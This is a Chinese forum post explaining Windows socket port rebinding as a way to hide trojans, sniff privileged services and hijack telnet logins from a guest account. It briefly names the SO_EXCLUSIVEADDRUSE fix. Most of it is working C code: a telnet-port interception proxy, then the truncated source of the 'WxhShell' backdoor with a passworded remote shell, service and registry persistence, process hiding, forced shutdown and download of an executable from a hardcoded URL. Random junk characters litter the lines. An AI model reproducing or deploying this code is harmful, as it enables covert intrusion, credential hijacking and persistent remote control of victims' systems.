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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ixxs(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U?0|2hR~  
ftYJ 3/WH  
  saddr.sin_family = AF_INET; 1 (<n^\J(  
eI1zRoIl-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A%8 Q}s$<s  
+_]Ui| l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y7t#)?  
A 6S0dX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ='m$ O  
/z-rBfdy^  
  这意味着什么?意味着可以进行如下的攻击: k)b{ UFRW  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W[&nQW$E  
9mi@PW}1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ] U>MYdGWb  
Ypyi(_G(?>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oYu xkG  
|A3"Jc.2o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IBT>&(cnV  
w 0BphK[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eft=k}  
pQa51nc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xTAfV N  
F1yn@a "=J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )  ;0  
9kD#'BxC  
  #include 8T3,56 >  
  #include g6Vkns4  
  #include CPJ<A,V  
  #include    1ubu~6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hV7EjQp  
  int main() | 1B0  
  { #*.!J zOg  
  WORD wVersionRequested; bsQ'kBD  
  DWORD ret; NljpkeX'  
  WSADATA wsaData; (ks>F=vk*  
  BOOL val; I*-\u  
  SOCKADDR_IN saddr; ]KFh 1  
  SOCKADDR_IN scaddr; [5P-K{Ko  
  int err; @8W@I|  
  SOCKET s; #&|"t< }  
  SOCKET sc; H:(B^uH  
  int caddsize; 84(Jo_9  
  HANDLE mt; (@^9oN~}  
  DWORD tid;   45JL{YRN  
  wVersionRequested = MAKEWORD( 2, 2 ); MRpMmu  
  err = WSAStartup( wVersionRequested, &wsaData ); + f6LG 0q  
  if ( err != 0 ) { JT 7WZc)  
  printf("error!WSAStartup failed!\n"); j e\!0{  
  return -1; pf8'xdExH)  
  } H(^Eh v>  
  saddr.sin_family = AF_INET; _`?0w#> 0  
   1clzDwW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \n_7+[=E  
='"Yj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L0![SE>  
  saddr.sin_port = htons(23); {-5)nS^_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $1])>m_ct  
  { ,buX|  
  printf("error!socket failed!\n"); IUOf/mM5  
  return -1; MD[hqshoh  
  } Mq91HmC(@  
  val = TRUE; gN/!w:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b~^'P   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /O[6PG  
  { 2c Xae  
  printf("error!setsockopt failed!\n"); ^(;x-d3  
  return -1; o CCtjr  
  } ROkwjw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8#QT[H 4F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sV"tN2W@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %wbdg&^  
)>ff"| X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?i<l7   
  { }%XB*pzQ  
  ret=GetLastError(); 0N1t.3U  
  printf("error!bind failed!\n"); L\4rvZa  
  return -1; 8O^x~[sQ  
  } >M5}L<  
  listen(s,2); f,O10`4s  
  while(1) XoyxS:=>|[  
  { :cA P{rSe  
  caddsize = sizeof(scaddr); a#1r'z~]}  
  //接受连接请求 KGJSGvo+y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KF7w{A){  
  if(sc!=INVALID_SOCKET) D*.3]3-I  
  { Oem1=QpaC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~|KqG  
  if(mt==NULL) `v?hL~  
  { ho>@ $9  
  printf("Thread Creat Failed!\n"); ?h`,@~6u  
  break; %/2 ` u  
  } _&= `vv'  
  } 0j$=KA  
  CloseHandle(mt); gNr4oOR{  
  } 1XN%&VR>^D  
  closesocket(s); O+-+=W  
  WSACleanup(); w^L`"  
  return 0; pqg2#@F.  
  }   =)bOteWM  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ls2OnL9  
  { q;AD#A|\  
  SOCKET ss = (SOCKET)lpParam; OG#^d5(  
  SOCKET sc; Y's=31G@  
  unsigned char buf[4096]; }P2*MrkcHB  
  SOCKADDR_IN saddr; <x`yoVPiZg  
  long num; E:rJi]  
  DWORD val; S[y'{;  
  DWORD ret; }<G a e5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (lwV(M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ` ,T .  
  saddr.sin_family = AF_INET; I e!KIU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O[Z$~  
  saddr.sin_port = htons(23); 1<9d[N*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) moM'RO,M  
  { K14.!m  
  printf("error!socket failed!\n"); :/6:&7s  
  return -1; bN?*p($/  
  } L@MCB-@V  
  val = 100; lsV>sW4]Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]9 @4P$I  
  { EW]DzL 3  
  ret = GetLastError(); 7_Vd%<:  
  return -1; 0of:tZU  
  } G,A?yM'Vw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tLJ 7tnB  
  { M]V j  
  ret = GetLastError(); @{V`g8P>  
  return -1; {X, -T&  
  } Rq1 5AR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |%4nU#GoB  
  { h(2{+Y+  
  printf("error!socket connect failed!\n"); TFbc@rfB  
  closesocket(sc); n}NUe`E_h  
  closesocket(ss); a\-5tYo`u  
  return -1; PM*lnd#J  
  } R?:K\  
  while(1) h9S f  
  { +4t \j<T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xD7Y"%Pbx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eI2041z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L^^f.w#m  
  num = recv(ss,buf,4096,0); "j%Gr :a  
  if(num>0) Y+S<?8pA  
  send(sc,buf,num,0); |x.[*'X@  
  else if(num==0) J{Ij  
  break; XPYf1H  
  num = recv(sc,buf,4096,0); lN.&46 e  
  if(num>0) W*H%\Y:N  
  send(ss,buf,num,0); 6jr}l  
  else if(num==0) =[4C[s  
  break; z@[n?t!7k  
  } lS;S:- -F  
  closesocket(ss); \U]<HEc^  
  closesocket(sc); L_Z`UhD3{  
  return 0 ; -{3^~vW|<  
  } $LR~c)}1I  
[Qkj}  
Pd:tRY+t/  
========================================================== D6_#r=08  
Jv2V@6a(  
下边附上一个代码,,WXhSHELL 0Q%I[f8  
eJOo~HIWQ  
==========================================================  0Ns Po  
t2ui9:g4j  
#include "stdafx.h"  ">|L<  
Qm3 RXO  
#include <stdio.h> W*c^(W  
#include <string.h> o) eW5s,6  
#include <windows.h> .Xta;Py|J  
#include <winsock2.h> ld~*w  
#include <winsvc.h> 5k_%%><: q  
#include <urlmon.h> IL8&MA%  
p<a~L~xH6  
#pragma comment (lib, "Ws2_32.lib") #6AcM"  
#pragma comment (lib, "urlmon.lib") '@^<c#h]=  
:)_P7k`>e/  
#define MAX_USER   100 // 最大客户端连接数 Ft2 ZZ<As  
#define BUF_SOCK   200 // sock buffer @ceL9#:uc  
#define KEY_BUFF   255 // 输入 buffer VjSbx'i  
D5T0o"A  
#define REBOOT     0   // 重启 0/+TQD!L  
#define SHUTDOWN   1   // 关机 tV.96P;)/9  
r-BqIoVT  
#define DEF_PORT   5000 // 监听端口 aj+I+r"~  
>48)@sS  
#define REG_LEN     16   // 注册表键长度 x@@k_'~t%  
#define SVC_LEN     80   // NT服务名长度 e]jzFm~  
BGB.SN#q+  
// 从dll定义API RV5;EM)~[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P>6wr\9i[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K0^+2lx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %]DJ-7 xE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UJX5}36  
5PHAd4=bJ  
// wxhshell配置信息 Wm58[;%LTw  
struct WSCFG { vP<8 ,XG  
  int ws_port;         // 监听端口 \]/ 6>yT  
  char ws_passstr[REG_LEN]; // 口令 !ImtnU}  
  int ws_autoins;       // 安装标记, 1=yes 0=no \4q1<j  
  char ws_regname[REG_LEN]; // 注册表键名 e3&.RrA  
  char ws_svcname[REG_LEN]; // 服务名 ZONe}tv:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n]JfdI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +>h'^/rAE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vw q Y;7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ET]`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nG5:H.)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Se5jxV  
1lUY27MF  
}; "6'# L,  
hzk]kM/OC  
// default Wxhshell configuration iGeuO[ ^  
struct WSCFG wscfg={DEF_PORT, .!Q[kn0a  
    "xuhuanlingzhe", CI?M2\<g  
    1, D #twS  
    "Wxhshell", _Ai\XS Am  
    "Wxhshell", tdRnRoB  
            "WxhShell Service", .7zdA IKW  
    "Wrsky Windows CmdShell Service", 5@Lz4 `  
    "Please Input Your Password: ", +Y^/0=6h  
  1, 0/%VejZ'  
  "http://www.wrsky.com/wxhshell.exe", R75np^  
  "Wxhshell.exe"  F_%&,"$  
    }; XAr YmO  
r`'n3#O*  
// 消息定义模块 zTt6L6:u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z+@Jx~<i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~|)'vK8W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 93N:?B9  
char *msg_ws_ext="\n\rExit."; ?To r)>A'  
char *msg_ws_end="\n\rQuit."; ~4tu*\P  
char *msg_ws_boot="\n\rReboot..."; B1gBvss  
char *msg_ws_poff="\n\rShutdown..."; RIl+QA  
char *msg_ws_down="\n\rSave to "; Y_&)>;  
G&*2h2,]  
char *msg_ws_err="\n\rErr!"; uod&'g{N  
char *msg_ws_ok="\n\rOK!"; {#1}YGpiVM  
m]U`7!  
char ExeFile[MAX_PATH]; ZA4vQDW  
int nUser = 0; n.xW"omN  
HANDLE handles[MAX_USER]; PM%Gsy]q  
int OsIsNt; *9Nq^+  
nz]+G2 h  
SERVICE_STATUS       serviceStatus; 6ax|EMw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X}3o  
oW/ #/;|`  
// 函数声明 J4ltHk.|  
int Install(void); |P]>[}mD  
int Uninstall(void); +lqX;*a=N  
int DownloadFile(char *sURL, SOCKET wsh); ;/Dp  
int Boot(int flag); @ (A[H^E  
void HideProc(void); 2^7VDqLc  
int GetOsVer(void); F\;G'dm  
int Wxhshell(SOCKET wsl); HI30-$9  
void TalkWithClient(void *cs); Nu'T0LPNq(  
int CmdShell(SOCKET sock); ;HeUD5Nt6F  
int StartFromService(void); 3"hPplE  
int StartWxhshell(LPSTR lpCmdLine); ebS>_jD  
=sW(2Im  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e'zG=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZtfPB  
mMvt#+O  
// 数据结构和表定义 "V;M,/Q|  
SERVICE_TABLE_ENTRY DispatchTable[] = TM|ycS'  
{ !7-dqw%l  
{wscfg.ws_svcname, NTServiceMain}, w+~s}ta2^  
{NULL, NULL} !8U\GR `  
}; .pOTIRbA  
AA um1xl  
// 自我安装 Rx 4 ;X  
int Install(void) .5zqpm  
{ Og`w~!\  
  char svExeFile[MAX_PATH]; ,$96bF "#  
  HKEY key; IPoNAi<b  
  strcpy(svExeFile,ExeFile); }Z_w8+BZ  
N?h=Zl|  
// 如果是win9x系统,修改注册表设为自启动 1^zpO~@ S  
if(!OsIsNt) { AVA hS}*t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j9YI6X"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C<\|4ERp  
  RegCloseKey(key); G_~w0r#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g3(fhfR'RN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x%JtI'sg  
  RegCloseKey(key); T0ebW w  
  return 0; IgOo2N"^l  
    } h+! Ld^'c  
  } !e >EDYbY  
} /JfRy%31  
else { )FkJ=P0  
:.IVf Zw  
// 如果是NT以上系统,安装为系统服务 VMUK|pC4 K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mRw &^7r  
if (schSCManager!=0) h$FpH\-  
{ +tNu8M@xFo  
  SC_HANDLE schService = CreateService >?q()>l  
  ( jLf.qf8qm  
  schSCManager, k!K}<sX2  
  wscfg.ws_svcname, nxP>IfSA  
  wscfg.ws_svcdisp, 9air" 4  
  SERVICE_ALL_ACCESS, wTGH5}QZ+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mpBSd+ ;Z  
  SERVICE_AUTO_START, $4y;F]  
  SERVICE_ERROR_NORMAL, ! 3O#'CV  
  svExeFile, V&E)4KBOs  
  NULL, < 6[XE  
  NULL, lUd/^u`  
  NULL, Ms.1RCup  
  NULL, lz1l1.f8  
  NULL 8C2s-%:  
  ); MS-}IHO  
  if (schService!=0)  `k/hC  
  { YT6<1-E#  
  CloseServiceHandle(schService); %SL'X`j  
  CloseServiceHandle(schSCManager); `Pv[A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R g7  O  
  strcat(svExeFile,wscfg.ws_svcname); [ 44d(P'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .AOf-a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~ r6qnC2  
  RegCloseKey(key); y_:i'Ri.  
  return 0; E4aCL#}D  
    } q/[)Z @&(  
  } QXnL(z  
  CloseServiceHandle(schSCManager); #`rvL6W q}  
} EM+#h'%-  
} wIIxs_2Q0c  
r<38; a  
return 1; 7yLO<o?9w  
} w%&lCu@v  
_Kg:jal  
// 自我卸载 j()<.h;'  
int Uninstall(void) +(*S@V$c  
{ rYbb&z!u  
  HKEY key; -(4)lw>U  
445}Yw5;9  
if(!OsIsNt) { 6C>"H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1H{M0e  
  RegDeleteValue(key,wscfg.ws_regname); 6H,n?[zTt  
  RegCloseKey(key); L, L>cmpM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J fFOU!F\  
  RegDeleteValue(key,wscfg.ws_regname); 7KOM,FWKe  
  RegCloseKey(key); p9ligs7V'  
  return 0; >L F y:a  
  } !N--  
} &)@|WLW  
} B>}=x4-8  
else { :gMcl"t--  
fGDR<t3yiQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M}E0Msq_o  
if (schSCManager!=0) A` x_M!m  
{ g/&`NlD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6\ g-KO  
  if (schService!=0) 2`qO'V3Q  
  { Zb<IZ)i#1  
  if(DeleteService(schService)!=0) { |X/ QSL  
  CloseServiceHandle(schService); ,b2YUb]U  
  CloseServiceHandle(schSCManager); 7yGc@kJ?  
  return 0; m?I$XAE  
  } i#o:V/Z .  
  CloseServiceHandle(schService); zrWkz3FN  
  } T >X nVK  
  CloseServiceHandle(schSCManager); Zi5d"V[}T  
} [;3` Aw  
} / E~)xgPM<  
AV\6K;~  
return 1; ^sR]w]cz.  
} Nf(Np1?;c  
!iBe/yb  
// 从指定url下载文件 Sq"O<FmI  
int DownloadFile(char *sURL, SOCKET wsh) *5'U3py  
{ cs[_5r&:  
  HRESULT hr; ,2\?kPoc8  
char seps[]= "/"; 9~8 A>  
char *token; f>\guuG  
char *file; 5 Z+2  
char myURL[MAX_PATH]; $Fx:w  
char myFILE[MAX_PATH]; :r%H sur(  
<smi<syx  
strcpy(myURL,sURL); 41f4zisZ  
  token=strtok(myURL,seps); ?}4 =A&][  
  while(token!=NULL) *GxOiv7"4W  
  { 69#D,ME?  
    file=token; 'r;C( Gh6  
  token=strtok(NULL,seps); }TjiYA.  
  } GORu*[U8  
o  RT<h  
GetCurrentDirectory(MAX_PATH,myFILE); egcJ@Of  
strcat(myFILE, "\\"); 2%Bq[SMuN  
strcat(myFILE, file); +X)n}jh  
  send(wsh,myFILE,strlen(myFILE),0); aChyl;#E  
send(wsh,"...",3,0); +DMD g.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <i9pJGW  
  if(hr==S_OK) CG!/Lbd  
return 0;  d~B ]s  
else u~MD?!LV  
return 1; ~ZbEKqni2  
VJ1(|v{D4[  
} r[>4b}4s  
~Q7)6%  
// 系统电源模块 u2=gG.  
int Boot(int flag) QJ{to%  
{ x8H%88!j*  
  HANDLE hToken; 3QlV,)}  
  TOKEN_PRIVILEGES tkp; 6*3J3Lc_<  
^+Ho#]  
  if(OsIsNt) { t[Dg)adc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,VK! 3$;|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ul@ Jg    
    tkp.PrivilegeCount = 1; TG ,T>'   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d4@\5<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E[N5vG<  
if(flag==REBOOT) { f( (p\ &y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8SmtEV[b3  
  return 0; HF@K$RPK  
} Ta;'f7Oz  
else { lLD-QO}/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nNe`?TS?f  
  return 0; B{IYVviiP  
} 7gIK+1`  
  } C~\/FrO?  
  else { @R+bR<}]  
if(flag==REBOOT) { \Kh@P*7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \@]/ks=K  
  return 0; qkX}pQkG)h  
} DtBIDU]  
else { }q0lbwYlb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f@@2@# 5B  
  return 0; ('1k%`R%  
} F$a?} }  
} V,>_L  
qta^i819  
return 1; /+pPcK  
} C4V#qhj  
Jz(!eTVs  
// win9x进程隐藏模块 =\v./Q-  
void HideProc(void) [H#*#v  
{ T*"15ppfk  
ZSL:q%:.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &=SP"@D  
  if ( hKernel != NULL ) -OLXRc=  
  { 5fGUJ[F=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \VW&z:/*pZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .:eNL]2%:  
    FreeLibrary(hKernel); j!c[$;  
  } {4\hxyw  
Z  Mp  
return; ![H!Y W'  
} {bF95Hs-  
.;gK*`G2W)  
// 获取操作系统版本 ;1Kxqp z_i  
int GetOsVer(void) IT \Pj_  
{ oYWcX9R  
  OSVERSIONINFO winfo; [.e Y xZ{=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :sT\-MpQvn  
  GetVersionEx(&winfo); W!a~ #R/r-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i?^C c\gH  
  return 1; |.D_[QI  
  else 5u ED  
  return 0; USVM' ~p I  
} :P$I;YY=A  
5H_%inWM  
// 客户端句柄模块 'TPRGX~&  
int Wxhshell(SOCKET wsl) ,6[}qw) *  
{ Ck,.4@\tK  
  SOCKET wsh; kqYvd]ss  
  struct sockaddr_in client; ,WF)GS|7V  
  DWORD myID; PPCZT3c=  
Uk5O9D0 He  
  while(nUser<MAX_USER) 5- Q`v/w;  
{ %]9 <a  
  int nSize=sizeof(client); %9|=\# G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A@/DGrZX  
  if(wsh==INVALID_SOCKET) return 1; G@Dw  
0 `X%&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); + ~ro*{3  
if(handles[nUser]==0) Yuy7TeJRx  
  closesocket(wsh); #80*3vi~F  
else S fE^'G\  
  nUser++; W-Cf#o  
  } EXz5Rue LV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I>b-w;cC  
+NRn>1]  
  return 0; hA`>SkO  
} kP%Hg/f/Ot  
DI=Nqa)r  
// 关闭 socket HF-Msu6  
void CloseIt(SOCKET wsh) 3Lwl~h!  
{ K[LTw_oE  
closesocket(wsh); %g(h%V9f  
nUser--; Y^gK^ ?K  
ExitThread(0); ?U0iHg{  
} x q93>Hs  
t" 1'B!4  
// 客户端请求句柄 ak50]KYo  
void TalkWithClient(void *cs) `+b>@2D_  
{ lv}U-vK  
"r0z( j  
  SOCKET wsh=(SOCKET)cs; 1QRE-ndc  
  char pwd[SVC_LEN]; P9J3Ii!  
  char cmd[KEY_BUFF]; 8|[\Tp:;  
char chr[1]; 78tWzO  
int i,j; `4s5yNUi=  
<p(&8P  
  while (nUser < MAX_USER) { N$ZThZqqv  
5=Bj?xb$'  
if(wscfg.ws_passstr) { w <]7:/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uK]@! gz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =5&)^  
  //ZeroMemory(pwd,KEY_BUFF); zTY|Z@:  
      i=0; 4'rWy~` V  
  while(i<SVC_LEN) { |0w'+HaE~N  
G#'3bxI{f+  
  // 设置超时 2]NP7Ee8 Z  
  fd_set FdRead; !)tXN=(1a  
  struct timeval TimeOut; =ox#qg.5  
  FD_ZERO(&FdRead); xiU-}H'o  
  FD_SET(wsh,&FdRead); a<Pi J?  
  TimeOut.tv_sec=8; 9#%(%s 2 +  
  TimeOut.tv_usec=0; ~%^af"_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Rshzv[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *MkhRLw\,  
6__@?XzJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  L}AR{  
  pwd=chr[0]; q 9qmz[  
  if(chr[0]==0xd || chr[0]==0xa) { <C6/R]x#  
  pwd=0; lg;Y}?P  
  break; `<t{NJ&f  
  } 'O`jV0aa'  
  i++; ~0?p @8  
    } S$]:3  
L4sN)EI  
  // 如果是非法用户,关闭 socket h_]3L/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9G_=)8sOV  
} `. %;|"xR  
d8M"vd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,?B.+4CW\E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?OKm~ Ek  
*6*#"#D  
while(1) { cFUYT$8>  
d^ !3bv*h  
  ZeroMemory(cmd,KEY_BUFF); UVu"meZX  
|dD!@K  
      // 自动支持客户端 telnet标准    -/  
  j=0; zx(j6  
  while(j<KEY_BUFF) { Kggf!\MR8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1:7>Em<s  
  cmd[j]=chr[0]; D4'? V Iz  
  if(chr[0]==0xa || chr[0]==0xd) { Bx&` $lW  
  cmd[j]=0; 0 P/A  
  break; $?Aez/  
  } w0SzK-&  
  j++; YO!,m<b^u  
    } = k3O4gE7  
U`6QD}c"s  
  // 下载文件 i*_KHK  
  if(strstr(cmd,"http://")) { p{Pa(Z]G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W~k!qy `  
  if(DownloadFile(cmd,wsh)) NJUYeim;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -f9M*7O<gf  
  else K?[pCF2C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [tMf KO  
  } + y.IDn^  
  else { - |[_j$g  
CG9X3%xO%  
    switch(cmd[0]) { )[oU|!@  
  no?)GQ  
  // 帮助 r %0  
  case '?': { U_}$QW0'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 42 p6l   
    break; ts;_T..L  
  } ";s5It  
  // 安装 sQJM 4'8f  
  case 'i': { qsvUJU  
    if(Install()) 3jS=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Dm6CH  
    else +{hxEDz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y^@% Xrs  
    break; 5.?O PK6  
    } Y ga}8DU  
  // 卸载 tEN]0`  
  case 'r': { mApn(&  
    if(Uninstall()) x(]s#D!)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;eWQwD  
    else 1r~lh#_8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l7s=b4}c  
    break; k 5"3*  
    } Ka_UVKwMro  
  // 显示 wxhshell 所在路径 G)# ,39P  
  case 'p': { R1Pnj  
    char svExeFile[MAX_PATH]; S_bay8L1  
    strcpy(svExeFile,"\n\r"); +=k?Dp[  
      strcat(svExeFile,ExeFile); do[K-r  
        send(wsh,svExeFile,strlen(svExeFile),0); CCEx>*E6c  
    break; ^OBaVb  
    } W77JXD93  
  // 重启 #eUfwd6.Y  
  case 'b': { ~5!ukGK_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pK'WJ 72U  
    if(Boot(REBOOT)) EW5S%Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b,Z& P|  
    else { }2NH>qvY  
    closesocket(wsh); =fsaJ@q ,R  
    ExitThread(0); d:pp,N~2o  
    } h.?[1hT4R  
    break; "L8V!M_e  
    } awkVjyqX  
  // 关机 izC>-  
  case 'd': { LpmspIPvf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9d{W/t?NH  
